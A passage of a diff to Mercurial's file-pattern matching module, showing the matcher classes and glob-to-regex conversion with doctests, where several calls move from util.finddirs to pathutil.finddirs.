     return unionmatcher(matchers)
 
 
 def match(
     root,
     cwd,
     patterns=None,
     include=None,
     exclude=None,
     default=b'glob',
     auditor=None,
     ctx=None,
     listsubrepos=False,
     warn=None,
     badfn=None,
     icasefs=False,
 ):
     r"""build an object to match a set of file patterns
 
     arguments:
     root - the canonical root of the tree you're matching against
     cwd - the current working directory, if relevant
     patterns - patterns to find
     include - patterns to include (unless they are excluded)
     exclude - patterns to exclude (even if they are included)
     default - if a pattern in patterns has no explicit type, assume this one
     auditor - optional path auditor
     ctx - optional changecontext
     listsubrepos - if True, recurse into subrepositories
     warn - optional function used for printing warnings
     badfn - optional bad() callback for this matcher instead of the default
     icasefs - make a matcher for wdir on case insensitive filesystems, which
         normalizes the given patterns to the case in the filesystem
 
     a pattern is one of:
     'glob:<glob>' - a glob relative to cwd
     're:<regexp>' - a regular expression
     'path:<path>' - a path relative to repository root, which is matched
                     recursively
     'rootfilesin:<path>' - a path relative to repository root, which is
                     matched non-recursively (will not match subdirectories)
     'relglob:<glob>' - an unrooted glob (*.c matches C files in all dirs)
     'relpath:<path>' - a path relative to cwd
     'relre:<regexp>' - a regexp that needn't match the start of a name
     'set:<fileset>' - a fileset expression
     'include:<path>' - a file of patterns to read and include
     'subinclude:<path>' - a file of patterns to match against files under
                           the same directory
     '<something>' - a pattern of the specified default type
 
     Usually a patternmatcher is returned:
     >>> match(b'foo', b'.', [b're:.*\.c$', b'path:foo/a', b'*.py'])
     <patternmatcher patterns='.*\\.c$|foo/a(?:/|$)|[^/]*\\.py$'>
 
     Combining 'patterns' with 'include' (resp. 'exclude') gives an
     intersectionmatcher (resp. a differencematcher):
     >>> type(match(b'foo', b'.', [b're:.*\.c$'], include=[b'path:lib']))
     <class 'mercurial.match.intersectionmatcher'>
     >>> type(match(b'foo', b'.', [b're:.*\.c$'], exclude=[b'path:build']))
     <class 'mercurial.match.differencematcher'>
 
     Notice that, if 'patterns' is empty, an alwaysmatcher is returned:
     >>> match(b'foo', b'.', [])
     <alwaysmatcher>
 
     The 'default' argument determines which kind of pattern is assumed if a
     pattern has no prefix:
     >>> match(b'foo', b'.', [b'.*\.c$'], default=b're')
     <patternmatcher patterns='.*\\.c$'>
     >>> match(b'foo', b'.', [b'main.py'], default=b'relpath')
     <patternmatcher patterns='main\\.py(?:/|$)'>
     >>> match(b'foo', b'.', [b'main.py'], default=b're')
     <patternmatcher patterns='main.py'>
 
     The primary use of matchers is to check whether a value (usually a file
     name) matches againset one of the patterns given at initialization. There
     are two ways of doing this check.
 
     >>> m = match(b'foo', b'', [b're:.*\.c$', b'relpath:a'])
 
     1. Calling the matcher with a file name returns True if any pattern
     matches that file name:
     >>> m(b'a')
     True
     >>> m(b'main.c')
     True
     >>> m(b'test.py')
     False
 
     2. Using the exact() method only returns True if the file name matches one
     of the exact patterns (i.e. not re: or glob: patterns):
     >>> m.exact(b'a')
     True
     >>> m.exact(b'main.c')
     False
     """
     normalize = _donormalize
     if icasefs:
         dirstate = ctx.repo().dirstate
         dsnormalize = dirstate.normalize
 
         def normalize(patterns, default, root, cwd, auditor, warn):
             kp = _donormalize(patterns, default, root, cwd, auditor, warn)
             kindpats = []
             for kind, pats, source in kp:
                 if kind not in (b're', b'relre'):  # regex can't be normalized
                     p = pats
                     pats = dsnormalize(pats)
 
                     # Preserve the original to handle a case only rename.
                     if p != pats and p in dirstate:
                         kindpats.append((kind, p, source))
 
                 kindpats.append((kind, pats, source))
             return kindpats
 
     if patterns:
         kindpats = normalize(patterns, default, root, cwd, auditor, warn)
         if _kindpatsalwaysmatch(kindpats):
             m = alwaysmatcher(badfn)
         else:
             m = _buildkindpatsmatcher(
                 patternmatcher,
                 root,
                 kindpats,
                 ctx=ctx,
                 listsubrepos=listsubrepos,
                 badfn=badfn,
             )
     else:
         # It's a little strange that no patterns means to match everything.
         # Consider changing this to match nothing (probably using nevermatcher).
         m = alwaysmatcher(badfn)
 
     if include:
         kindpats = normalize(include, b'glob', root, cwd, auditor, warn)
         im = _buildkindpatsmatcher(
             includematcher,
             root,
             kindpats,
             ctx=ctx,
             listsubrepos=listsubrepos,
             badfn=None,
         )
         m = intersectmatchers(m, im)
     if exclude:
         kindpats = normalize(exclude, b'glob', root, cwd, auditor, warn)
         em = _buildkindpatsmatcher(
             includematcher,
             root,
             kindpats,
             ctx=ctx,
             listsubrepos=listsubrepos,
             badfn=None,
         )
         m = differencematcher(m, em)
     return m
 
 
 def exact(files, badfn=None):
     return exactmatcher(files, badfn=badfn)
 
 
 def always(badfn=None):
     return alwaysmatcher(badfn)
 
 
 def never(badfn=None):
     return nevermatcher(badfn)
 
 
 def badmatch(match, badfn):
     """Make a copy of the given matcher, replacing its bad method with the given
     one.
     """
     m = copy.copy(match)
     m.bad = badfn
     return m
 
 
 def _donormalize(patterns, default, root, cwd, auditor=None, warn=None):
     '''Convert 'kind:pat' from the patterns list to tuples with kind and
     normalized and rooted patterns and with listfiles expanded.'''
     kindpats = []
     for kind, pat in [_patsplit(p, default) for p in patterns]:
         if kind in cwdrelativepatternkinds:
             pat = pathutil.canonpath(root, cwd, pat, auditor=auditor)
         elif kind in (b'relglob', b'path', b'rootfilesin', b'rootglob'):
             pat = util.normpath(pat)
         elif kind in (b'listfile', b'listfile0'):
             try:
                 files = util.readfile(pat)
                 if kind == b'listfile0':
                     files = files.split(b'\0')
                 else:
                     files = files.splitlines()
                 files = [f for f in files if f]
             except EnvironmentError:
                 raise error.Abort(_(b"unable to read file list (%s)") % pat)
             for k, p, source in _donormalize(
                 files, default, root, cwd, auditor, warn
             ):
                 kindpats.append((k, p, pat))
             continue
         elif kind == b'include':
             try:
                 fullpath = os.path.join(root, util.localpath(pat))
                 includepats = readpatternfile(fullpath, warn)
                 for k, p, source in _donormalize(
                     includepats, default, root, cwd, auditor, warn
                 ):
                     kindpats.append((k, p, source or pat))
             except error.Abort as inst:
                 raise error.Abort(
                     b'%s: %s'
                     % (pat, inst[0])  # pytype: disable=unsupported-operands
                 )
             except IOError as inst:
                 if warn:
                     warn(
                         _(b"skipping unreadable pattern file '%s': %s\n")
                         % (pat, stringutil.forcebytestr(inst.strerror))
                     )
             continue
         # else: re or relre - which cannot be normalized
         kindpats.append((kind, pat, b''))
     return kindpats
 
 
 class basematcher(object):
     def __init__(self, badfn=None):
         if badfn is not None:
             self.bad = badfn
 
     def __call__(self, fn):
         return self.matchfn(fn)
 
     # Callbacks related to how the matcher is used by dirstate.walk.
     # Subscribers to these events must monkeypatch the matcher object.
     def bad(self, f, msg):
         '''Callback from dirstate.walk for each explicit file that can't be
         found/accessed, with an error message.'''
 
     # If an explicitdir is set, it will be called when an explicitly listed
     # directory is visited.
     explicitdir = None
 
     # If an traversedir is set, it will be called when a directory discovered
     # by recursive traversal is visited.
     traversedir = None
 
     @propertycache
     def _files(self):
         return []
 
     def files(self):
         '''Explicitly listed files or patterns or roots:
         if no patterns or .always(): empty list,
         if exact: list exact files,
         if not .anypats(): list all files and dirs,
         else: optimal roots'''
         return self._files
 
     @propertycache
     def _fileset(self):
         return set(self._files)
 
     def exact(self, f):
         '''Returns True if f is in .files().'''
         return f in self._fileset
 
     def matchfn(self, f):
         return False
 
     def visitdir(self, dir):
         '''Decides whether a directory should be visited based on whether it
         has potential matches in it or one of its subdirectories. This is
         based on the match's primary, included, and excluded patterns.
 
         Returns the string 'all' if the given directory and all subdirectories
         should be visited. Otherwise returns True or False indicating whether
         the given directory should be visited.
         '''
         return True
 
     def visitchildrenset(self, dir):
         '''Decides whether a directory should be visited based on whether it
         has potential matches in it or one of its subdirectories, and
         potentially lists which subdirectories of that directory should be
         visited. This is based on the match's primary, included, and excluded
         patterns.
 
         This function is very similar to 'visitdir', and the following mapping
         can be applied:
 
              visitdir | visitchildrenlist
             ----------+-------------------
              False    | set()
              'all'    | 'all'
              True     | 'this' OR non-empty set of subdirs -or files- to visit
 
         Example:
           Assume matchers ['path:foo/bar', 'rootfilesin:qux'], we would return
           the following values (assuming the implementation of visitchildrenset
           is capable of recognizing this; some implementations are not).
 
           '' -> {'foo', 'qux'}
           'baz' -> set()
           'foo' -> {'bar'}
           # Ideally this would be 'all', but since the prefix nature of matchers
           # is applied to the entire matcher, we have to downgrade this to
           # 'this' due to the non-prefix 'rootfilesin'-kind matcher being mixed
           # in.
           'foo/bar' -> 'this'
           'qux' -> 'this'
 
         Important:
           Most matchers do not know if they're representing files or
           directories. They see ['path:dir/f'] and don't know whether 'f' is a
           file or a directory, so visitchildrenset('dir') for most matchers will
           return {'f'}, but if the matcher knows it's a file (like exactmatcher
           does), it may return 'this'. Do not rely on the return being a set
           indicating that there are no files in this dir to investigate (or
           equivalently that if there are files to investigate in 'dir' that it
           will always return 'this').
         '''
         return b'this'
 
     def always(self):
         '''Matcher will match everything and .files() will be empty --
         optimization might be possible.'''
         return False
 
     def isexact(self):
         '''Matcher will match exactly the list of files in .files() --
         optimization might be possible.'''
         return False
 
     def prefix(self):
         '''Matcher will match the paths in .files() recursively --
         optimization might be possible.'''
         return False
 
     def anypats(self):
         '''None of .always(), .isexact(), and .prefix() is true --
         optimizations will be difficult.'''
         return not self.always() and not self.isexact() and not self.prefix()
 
 
 class alwaysmatcher(basematcher):
     '''Matches everything.'''
 
     def __init__(self, badfn=None):
         super(alwaysmatcher, self).__init__(badfn)
 
     def always(self):
         return True
 
     def matchfn(self, f):
         return True
 
     def visitdir(self, dir):
         return b'all'
 
     def visitchildrenset(self, dir):
         return b'all'
 
     def __repr__(self):
         return r'<alwaysmatcher>'
 
 
 class nevermatcher(basematcher):
     '''Matches nothing.'''
 
     def __init__(self, badfn=None):
         super(nevermatcher, self).__init__(badfn)
 
     # It's a little weird to say that the nevermatcher is an exact matcher
     # or a prefix matcher, but it seems to make sense to let callers take
     # fast paths based on either. There will be no exact matches, nor any
     # prefixes (files() returns []), so fast paths iterating over them should
     # be efficient (and correct).
     def isexact(self):
         return True
 
     def prefix(self):
         return True
 
     def visitdir(self, dir):
         return False
 
     def visitchildrenset(self, dir):
         return set()
 
     def __repr__(self):
         return r'<nevermatcher>'
 
 
 class predicatematcher(basematcher):
     """A matcher adapter for a simple boolean function"""
 
     def __init__(self, predfn, predrepr=None, badfn=None):
         super(predicatematcher, self).__init__(badfn)
         self.matchfn = predfn
         self._predrepr = predrepr
 
     @encoding.strmethod
     def __repr__(self):
         s = stringutil.buildrepr(self._predrepr) or pycompat.byterepr(
             self.matchfn
         )
         return b'<predicatenmatcher pred=%s>' % s
 
 
 class patternmatcher(basematcher):
     """Matches a set of (kind, pat, source) against a 'root' directory.
 
     >>> kindpats = [
     ...     (b're', br'.*\.c$', b''),
     ...     (b'path', b'foo/a', b''),
     ...     (b'relpath', b'b', b''),
     ...     (b'glob', b'*.h', b''),
     ... ]
     >>> m = patternmatcher(b'foo', kindpats)
     >>> m(b'main.c')  # matches re:.*\.c$
     True
     >>> m(b'b.txt')
     False
     >>> m(b'foo/a')  # matches path:foo/a
     True
     >>> m(b'a')  # does not match path:b, since 'root' is 'foo'
     False
     >>> m(b'b')  # matches relpath:b, since 'root' is 'foo'
     True
     >>> m(b'lib.h')  # matches glob:*.h
     True
 
     >>> m.files()
     ['', 'foo/a', 'b', '']
     >>> m.exact(b'foo/a')
     True
     >>> m.exact(b'b')
     True
     >>> m.exact(b'lib.h')  # exact matches are for (rel)path kinds
     False
     """
 
     def __init__(self, root, kindpats, badfn=None):
         super(patternmatcher, self).__init__(badfn)
 
         self._files = _explicitfiles(kindpats)
         self._prefix = _prefix(kindpats)
         self._pats, self.matchfn = _buildmatch(kindpats, b'$', root)
 
     @propertycache
     def _dirs(self):
         return set(pathutil.dirs(self._fileset))
 
     def visitdir(self, dir):
         if self._prefix and dir in self._fileset:
             return b'all'
         return (
             dir in self._fileset
             or dir in self._dirs
             or any(
-                parentdir in self._fileset for parentdir in util.finddirs(dir)
+                parentdir in self._fileset
+                for parentdir in pathutil.finddirs(dir)
             )
         )
 
     def visitchildrenset(self, dir):
         ret = self.visitdir(dir)
         if ret is True:
             return b'this'
         elif not ret:
             return set()
         assert ret == b'all'
         return b'all'
 
     def prefix(self):
         return self._prefix
 
     @encoding.strmethod
     def __repr__(self):
         return b'<patternmatcher patterns=%r>' % pycompat.bytestr(self._pats)
 
 
 # This is basically a reimplementation of pathutil.dirs that stores the
 # children instead of just a count of them, plus a small optional optimization
 # to avoid some directories we don't need.
 class _dirchildren(object):
     def __init__(self, paths, onlyinclude=None):
         self._dirs = {}
         self._onlyinclude = onlyinclude or []
         addpath = self.addpath
         for f in paths:
             addpath(f)
 
     def addpath(self, path):
         if path == b'':
             return
         dirs = self._dirs
         findsplitdirs = _dirchildren._findsplitdirs
         for d, b in findsplitdirs(path):
             if d not in self._onlyinclude:
                 continue
             dirs.setdefault(d, set()).add(b)
 
     @staticmethod
     def _findsplitdirs(path):
         # yields (dirname, basename) tuples, walking back to the root.  This is
-        # very similar to util.finddirs, except:
+        # very similar to pathutil.finddirs, except:
         #  - produces a (dirname, basename) tuple, not just 'dirname'
         # Unlike manifest._splittopdir, this does not suffix `dirname` with a
         # slash.
         oldpos = len(path)
         pos = path.rfind(b'/')
         while pos != -1:
             yield path[:pos], path[pos + 1 : oldpos]
             oldpos = pos
             pos = path.rfind(b'/', 0, pos)
         yield b'', path[:oldpos]
 
     def get(self, path):
         return self._dirs.get(path, set())
 
 
 class includematcher(basematcher):
     def __init__(self, root, kindpats, badfn=None):
         super(includematcher, self).__init__(badfn)
 
         self._pats, self.matchfn = _buildmatch(kindpats, b'(?:/|$)', root)
         self._prefix = _prefix(kindpats)
         roots, dirs, parents = _rootsdirsandparents(kindpats)
         # roots are directories which are recursively included.
         self._roots = set(roots)
         # dirs are directories which are non-recursively included.
         self._dirs = set(dirs)
         # parents are directories which are non-recursively included because
         # they are needed to get to items in _dirs or _roots.
         self._parents = parents
 
     def visitdir(self, dir):
         if self._prefix and dir in self._roots:
             return b'all'
         return (
             dir in self._roots
             or dir in self._dirs
             or dir in self._parents
-            or any(parentdir in self._roots for parentdir in util.finddirs(dir))
+            or any(
+                parentdir in self._roots for parentdir in pathutil.finddirs(dir)
+            )
         )
 
     @propertycache
     def _allparentschildren(self):
         # It may seem odd that we add dirs, roots, and parents, and then
         # restrict to only parents. This is to catch the case of:
         #   dirs = ['foo/bar']
         #   parents = ['foo']
         # if we asked for the children of 'foo', but had only added
         # self._parents, we wouldn't be able to respond ['bar'].
         return _dirchildren(
             itertools.chain(self._dirs, self._roots, self._parents),
             onlyinclude=self._parents,
         )
 
     def visitchildrenset(self, dir):
         if self._prefix and dir in self._roots:
             return b'all'
         # Note: this does *not* include the 'dir in self._parents' case from
         # visitdir, that's handled below.
         if (
             b'' in self._roots
             or dir in self._roots
             or dir in self._dirs
-            or any(parentdir in self._roots for parentdir in util.finddirs(dir))
+            or any(
+                parentdir in self._roots for parentdir in pathutil.finddirs(dir)
+            )
         ):
             return b'this'
 
         if dir in self._parents:
             return self._allparentschildren.get(dir) or set()
         return set()
 
     @encoding.strmethod
     def __repr__(self):
         return b'<includematcher includes=%r>' % pycompat.bytestr(self._pats)
 
 
 class exactmatcher(basematcher):
     r'''Matches the input files exactly. They are interpreted as paths, not
     patterns (so no kind-prefixes).
 
     >>> m = exactmatcher([b'a.txt', br're:.*\.c$'])
     >>> m(b'a.txt')
     True
     >>> m(b'b.txt')
     False
 
     Input files that would be matched are exactly those returned by .files()
     >>> m.files()
     ['a.txt', 're:.*\\.c$']
 
     So pattern 're:.*\.c$' is not considered as a regex, but as a file name
     >>> m(b'main.c')
     False
     >>> m(br're:.*\.c$')
     True
     '''
 
     def __init__(self, files, badfn=None):
         super(exactmatcher, self).__init__(badfn)
 
         if isinstance(files, list):
             self._files = files
         else:
             self._files = list(files)
 
     matchfn = basematcher.exact
 
     @propertycache
     def _dirs(self):
         return set(pathutil.dirs(self._fileset))
 
     def visitdir(self, dir):
         return dir in self._dirs
 
     def visitchildrenset(self, dir):
         if not self._fileset or dir not in self._dirs:
             return set()
 
         candidates = self._fileset | self._dirs - {b''}
         if dir != b'':
             d = dir + b'/'
             candidates = set(c[len(d) :] for c in candidates if c.startswith(d))
         # self._dirs includes all of the directories, recursively, so if
         # we're attempting to match foo/bar/baz.txt, it'll have '', 'foo',
         # 'foo/bar' in it. Thus we can safely ignore a candidate that has a
         # '/' in it, indicating a it's for a subdir-of-a-subdir; the
         # immediate subdir will be in there without a slash.
         ret = {c for c in candidates if b'/' not in c}
         # We really do not expect ret to be empty, since that would imply that
         # there's something in _dirs that didn't have a file in _fileset.
         assert ret
         return ret
 
     def isexact(self):
         return True
 
     @encoding.strmethod
     def __repr__(self):
         return b'<exactmatcher files=%r>' % self._files
 
 
 class differencematcher(basematcher):
     '''Composes two matchers by matching if the first matches and the second
     does not.
 
     The second matcher's non-matching-attributes (bad, explicitdir,
     traversedir) are ignored.
     '''
 
     def __init__(self, m1, m2):
         super(differencematcher, self).__init__()
         self._m1 = m1
         self._m2 = m2
         self.bad = m1.bad
         self.explicitdir = m1.explicitdir
         self.traversedir = m1.traversedir
 
     def matchfn(self, f):
         return self._m1(f) and not self._m2(f)
 
     @propertycache
     def _files(self):
         if self.isexact():
             return [f for f in self._m1.files() if self(f)]
         # If m1 is not an exact matcher, we can't easily figure out the set of
         # files, because its files() are not always files. For example, if
         # m1 is "path:dir" and m2 is "rootfileins:.", we don't
         # want to remove "dir" from the set even though it would match m2,
         # because the "dir" in m1 may not be a file.
         return self._m1.files()
 
     def visitdir(self, dir):
         if self._m2.visitdir(dir) == b'all':
             return False
         elif not self._m2.visitdir(dir):
             # m2 does not match dir, we can return 'all' here if possible
             return self._m1.visitdir(dir)
         return bool(self._m1.visitdir(dir))
 
     def visitchildrenset(self, dir):
         m2_set = self._m2.visitchildrenset(dir)
         if m2_set == b'all':
             return set()
         m1_set = self._m1.visitchildrenset(dir)
         # Possible values for m1: 'all', 'this', set(...), set()
         # Possible values for m2:        'this', set(...), set()
         # If m2 has nothing under here that we care about, return m1, even if
         # it's 'all'. This is a change in behavior from visitdir, which would
         # return True, not 'all', for some reason.
         if not m2_set:
             return m1_set
         if m1_set in [b'all', b'this']:
             # Never return 'all' here if m2_set is any kind of non-empty (either
             # 'this' or set(foo)), since m2 might return set() for a
             # subdirectory.
             return b'this'
         # Possible values for m1:         set(...), set()
         # Possible values for m2: 'this', set(...)
         # We ignore m2's set results. They're possibly incorrect:
         #  m1 = path:dir/subdir, m2=rootfilesin:dir, visitchildrenset(''):
         #    m1 returns {'dir'}, m2 returns {'dir'}, if we subtracted we'd
         #    return set(), which is *not* correct, we still need to visit 'dir'!
         return m1_set
 
     def isexact(self):
         return self._m1.isexact()
 
     @encoding.strmethod
     def __repr__(self):
         return b'<differencematcher m1=%r, m2=%r>' % (self._m1, self._m2)
 
 
 def intersectmatchers(m1, m2):
     '''Composes two matchers by matching if both of them match.
 
     The second matcher's non-matching-attributes (bad, explicitdir,
     traversedir) are ignored.
     '''
     if m1 is None or m2 is None:
         return m1 or m2
     if m1.always():
         m = copy.copy(m2)
         # TODO: Consider encapsulating these things in a class so there's only
         # one thing to copy from m1.
         m.bad = m1.bad
         m.explicitdir = m1.explicitdir
         m.traversedir = m1.traversedir
         return m
     if m2.always():
         m = copy.copy(m1)
         return m
     return intersectionmatcher(m1, m2)
 
 
 class intersectionmatcher(basematcher):
     def __init__(self, m1, m2):
         super(intersectionmatcher, self).__init__()
         self._m1 = m1
         self._m2 = m2
         self.bad = m1.bad
         self.explicitdir = m1.explicitdir
         self.traversedir = m1.traversedir
 
     @propertycache
     def _files(self):
         if self.isexact():
             m1, m2 = self._m1, self._m2
             if not m1.isexact():
                 m1, m2 = m2, m1
             return [f for f in m1.files() if m2(f)]
         # It neither m1 nor m2 is an exact matcher, we can't easily intersect
         # the set of files, because their files() are not always files. For
         # example, if intersecting a matcher "-I glob:foo.txt" with matcher of
         # "path:dir2", we don't want to remove "dir2" from the set.
         return self._m1.files() + self._m2.files()
 
     def matchfn(self, f):
         return self._m1(f) and self._m2(f)
 
     def visitdir(self, dir):
         visit1 = self._m1.visitdir(dir)
         if visit1 == b'all':
             return self._m2.visitdir(dir)
         # bool() because visit1=True + visit2='all' should not be 'all'
         return bool(visit1 and self._m2.visitdir(dir))
 
     def visitchildrenset(self, dir):
         m1_set = self._m1.visitchildrenset(dir)
         if not m1_set:
             return set()
         m2_set = self._m2.visitchildrenset(dir)
         if not m2_set:
             return set()
 
         if m1_set == b'all':
             return m2_set
         elif m2_set == b'all':
             return m1_set
 
         if m1_set == b'this' or m2_set == b'this':
             return b'this'
 
         assert isinstance(m1_set, set) and isinstance(m2_set, set)
         return m1_set.intersection(m2_set)
 
     def always(self):
         return self._m1.always() and self._m2.always()
 
     def isexact(self):
         return self._m1.isexact() or self._m2.isexact()
 
     @encoding.strmethod
     def __repr__(self):
         return b'<intersectionmatcher m1=%r, m2=%r>' % (self._m1, self._m2)
 
 
 class subdirmatcher(basematcher):
     """Adapt a matcher to work on a subdirectory only.
 
     The paths are remapped to remove/insert the path as needed:
 
     >>> from . import pycompat
     >>> m1 = match(b'root', b'', [b'a.txt', b'sub/b.txt'])
     >>> m2 = subdirmatcher(b'sub', m1)
     >>> m2(b'a.txt')
     False
     >>> m2(b'b.txt')
     True
     >>> m2.matchfn(b'a.txt')
     False
     >>> m2.matchfn(b'b.txt')
     True
     >>> m2.files()
     ['b.txt']
     >>> m2.exact(b'b.txt')
     True
     >>> def bad(f, msg):
     ...     print(pycompat.sysstr(b"%s: %s" % (f, msg)))
     >>> m1.bad = bad
     >>> m2.bad(b'x.txt', b'No such file')
     sub/x.txt: No such file
     """
 
     def __init__(self, path, matcher):
         super(subdirmatcher, self).__init__()
         self._path = path
         self._matcher = matcher
         self._always = matcher.always()
 
         self._files = [
             f[len(path) + 1 :]
             for f in matcher._files
             if f.startswith(path + b"/")
         ]
 
         # If the parent repo had a path to this subrepo and the matcher is
         # a prefix matcher, this submatcher always matches.
         if matcher.prefix():
             self._always = any(f == path for f in matcher._files)
 
     def bad(self, f, msg):
         self._matcher.bad(self._path + b"/" + f, msg)
 
     def matchfn(self, f):
         # Some information is lost in the superclass's constructor, so we
         # can not accurately create the matching function for the subdirectory
         # from the inputs. Instead, we override matchfn() and visitdir() to
         # call the original matcher with the subdirectory path prepended.
         return self._matcher.matchfn(self._path + b"/" + f)
 
     def visitdir(self, dir):
         if dir == b'':
             dir = self._path
         else:
             dir = self._path + b"/" + dir
         return self._matcher.visitdir(dir)
 
     def visitchildrenset(self, dir):
         if dir == b'':
             dir = self._path
         else:
             dir = self._path + b"/" + dir
         return self._matcher.visitchildrenset(dir)
 
     def always(self):
         return self._always
 
     def prefix(self):
         return self._matcher.prefix() and not self._always
 
     @encoding.strmethod
     def __repr__(self):
         return b'<subdirmatcher path=%r, matcher=%r>' % (
             self._path,
             self._matcher,
         )
 
 
 class prefixdirmatcher(basematcher):
     """Adapt a matcher to work on a parent directory.
 
     The matcher's non-matching-attributes (bad, explicitdir, traversedir) are
     ignored.
 
     The prefix path should usually be the relative path from the root of
     this matcher to the root of the wrapped matcher.
 
     >>> m1 = match(util.localpath(b'root/d/e'), b'f', [b'../a.txt', b'b.txt'])
     >>> m2 = prefixdirmatcher(b'd/e', m1)
     >>> m2(b'a.txt')
     False
     >>> m2(b'd/e/a.txt')
     True
     >>> m2(b'd/e/b.txt')
     False
     >>> m2.files()
     ['d/e/a.txt', 'd/e/f/b.txt']
     >>> m2.exact(b'd/e/a.txt')
     True
     >>> m2.visitdir(b'd')
     True
     >>> m2.visitdir(b'd/e')
     True
     >>> m2.visitdir(b'd/e/f')
     True
     >>> m2.visitdir(b'd/e/g')
     False
     >>> m2.visitdir(b'd/ef')
     False
     """
 
     def __init__(self, path, matcher, badfn=None):
         super(prefixdirmatcher, self).__init__(badfn)
         if not path:
             raise error.ProgrammingError(b'prefix path must not be empty')
         self._path = path
         self._pathprefix = path + b'/'
         self._matcher = matcher
 
     @propertycache
     def _files(self):
         return [self._pathprefix + f for f in self._matcher._files]
 
     def matchfn(self, f):
         if not f.startswith(self._pathprefix):
             return False
         return self._matcher.matchfn(f[len(self._pathprefix) :])
 
     @propertycache
     def _pathdirs(self):
-        return set(util.finddirs(self._path))
+        return set(pathutil.finddirs(self._path))
 
     def visitdir(self, dir):
         if dir == self._path:
             return self._matcher.visitdir(b'')
         if dir.startswith(self._pathprefix):
             return self._matcher.visitdir(dir[len(self._pathprefix) :])
         return dir in self._pathdirs
 
     def visitchildrenset(self, dir):
         if dir == self._path:
             return self._matcher.visitchildrenset(b'')
         if dir.startswith(self._pathprefix):
             return self._matcher.visitchildrenset(dir[len(self._pathprefix) :])
         if dir in self._pathdirs:
             return b'this'
         return set()
 
     def isexact(self):
         return self._matcher.isexact()
 
     def prefix(self):
         return self._matcher.prefix()
 
     @encoding.strmethod
     def __repr__(self):
         return b'<prefixdirmatcher path=%r, matcher=%r>' % (
             pycompat.bytestr(self._path),
             self._matcher,
         )
 
 
 class unionmatcher(basematcher):
     """A matcher that is the union of several matchers.
 
     The non-matching-attributes (bad, explicitdir, traversedir) are taken from
     the first matcher.
     """
 
     def __init__(self, matchers):
         m1 = matchers[0]
         super(unionmatcher, self).__init__()
         self.explicitdir = m1.explicitdir
         self.traversedir = m1.traversedir
         self._matchers = matchers
 
     def matchfn(self, f):
         for match in self._matchers:
             if match(f):
                 return True
         return False
 
     def visitdir(self, dir):
         r = False
         for m in self._matchers:
             v = m.visitdir(dir)
             if v == b'all':
                 return v
             r |= v
         return r
 
     def visitchildrenset(self, dir):
         r = set()
         this = False
         for m in self._matchers:
             v = m.visitchildrenset(dir)
             if not v:
                 continue
             if v == b'all':
                 return v
             if this or v == b'this':
                 this = True
                 # don't break, we might have an 'all' in here.
                 continue
             assert isinstance(v, set)
             r = r.union(v)
         if this:
             return b'this'
         return r
 
     @encoding.strmethod
     def __repr__(self):
         return b'<unionmatcher matchers=%r>' % self._matchers
 
 
 def patkind(pattern, default=None):
     '''If pattern is 'kind:pat' with a known kind, return kind.
 
     >>> patkind(br're:.*\.c$')
     're'
     >>> patkind(b'glob:*.c')
     'glob'
     >>> patkind(b'relpath:test.py')
     'relpath'
     >>> patkind(b'main.py')
     >>> patkind(b'main.py', default=b're')
     're'
     '''
     return _patsplit(pattern, default)[0]
 
 
 def _patsplit(pattern, default):
     """Split a string into the optional pattern kind prefix and the actual
     pattern."""
     if b':' in pattern:
         kind, pat = pattern.split(b':', 1)
         if kind in allpatternkinds:
             return kind, pat
     return default, pattern
 
 
 def _globre(pat):
     r'''Convert an extended glob string to a regexp string.
 
     >>> from . import pycompat
     >>> def bprint(s):
     ...     print(pycompat.sysstr(s))
     >>> bprint(_globre(br'?'))
     .
     >>> bprint(_globre(br'*'))
     [^/]*
     >>> bprint(_globre(br'**'))
     .*
     >>> bprint(_globre(br'**/a'))
     (?:.*/)?a
     >>> bprint(_globre(br'a/**/b'))
     a/(?:.*/)?b
     >>> bprint(_globre(br'[a*?!^][^b][!c]'))
     [a*?!^][\^b][^c]
     >>> bprint(_globre(br'{a,b}'))
     (?:a|b)
     >>> bprint(_globre(br'.\*\?'))
     \.\*\?
     '''
     i, n = 0, len(pat)
     res = b''
     group = 0
     escape = util.stringutil.regexbytesescapemap.get
 
     def peek():
         return i < n and pat[i : i + 1]
 
     while i < n:
         c = pat[i : i + 1]
         i += 1
         if c not in b'*?[{},\\':
             res += escape(c, c)
         elif c == b'*':
             if peek() == b'*':
                 i += 1
                 if peek() == b'/':
                     i += 1
                     res += b'(?:.*/)?'
                 else:
                     res += b'.*'
             else:
                 res += b'[^/]*'
         elif c == b'?':
             res += b'.'
         elif c == b'[':
             j = i
             if j < n and pat[j : j + 1] in b'!]':
                 j += 1
             while j < n and pat[j : j + 1] != b']':
                 j += 1
             if j >= n:
                 res += b'\\['
             else:
                 stuff = pat[i:j].replace(b'\\', b'\\\\')
                 i = j + 1
                 if stuff[0:1] == b'!':
                     stuff = b'^' + stuff[1:]
                 elif stuff[0:1] == b'^':
                     stuff = b'\\' + stuff
                 res = b'%s[%s]' % (res, stuff)
         elif c == b'{':
             group += 1
             res += b'(?:'
         elif c == b'}' and group:
             res += b')'
             group -= 1
         elif c == b',' and group:
             res += b'|'
         elif c == b'\\':
             p = peek()
             if p:
                 i += 1
                 res += escape(p, p)
             else:
                 res += escape(c, c)
         else:
             res += escape(c, c)
     return res
 
 
 def _regex(kind, pat, globsuffix):
     '''Convert a (normalized) pattern of any kind into a
     regular expression.
     globsuffix is appended to the regexp of globs.'''
 
     if rustmod is not None:
         try:
             return rustmod.build_single_regex(kind, pat, globsuffix)
         except rustmod.PatternError:
             raise error.ProgrammingError(
                 b'not a regex pattern: %s:%s' % (kind, pat)
             )
 
     if not pat and kind in (b'glob', b'relpath'):
         return b''
     if kind == b're':
         return pat
     if kind in (b'path', b'relpath'):
         if pat == b'.':
             return b''
         return util.stringutil.reescape(pat) + b'(?:/|$)'
     if kind == b'rootfilesin':
         if pat == b'.':
             escaped = b''
         else:
             # Pattern is a directory name.
             escaped = util.stringutil.reescape(pat) + b'/'
         # Anything after the pattern must be a non-directory.
         return escaped + b'[^/]+$'
     if kind == b'relglob':
         globre = _globre(pat)
         if globre.startswith(b'[^/]*'):
             # When pat has the form *XYZ (common), make the returned regex more
             # legible by returning the regex for **XYZ instead of **/*XYZ.
             return b'.*' + globre[len(b'[^/]*') :] + globsuffix
         return b'(?:|.*/)' + globre + globsuffix
     if kind == b'relre':
         if pat.startswith(b'^'):
             return pat
         return b'.*' + pat
     if kind in (b'glob', b'rootglob'):
         return _globre(pat) + globsuffix
     raise error.ProgrammingError(b'not a regex pattern: %s:%s' % (kind, pat))
 
 
 def _buildmatch(kindpats, globsuffix, root):
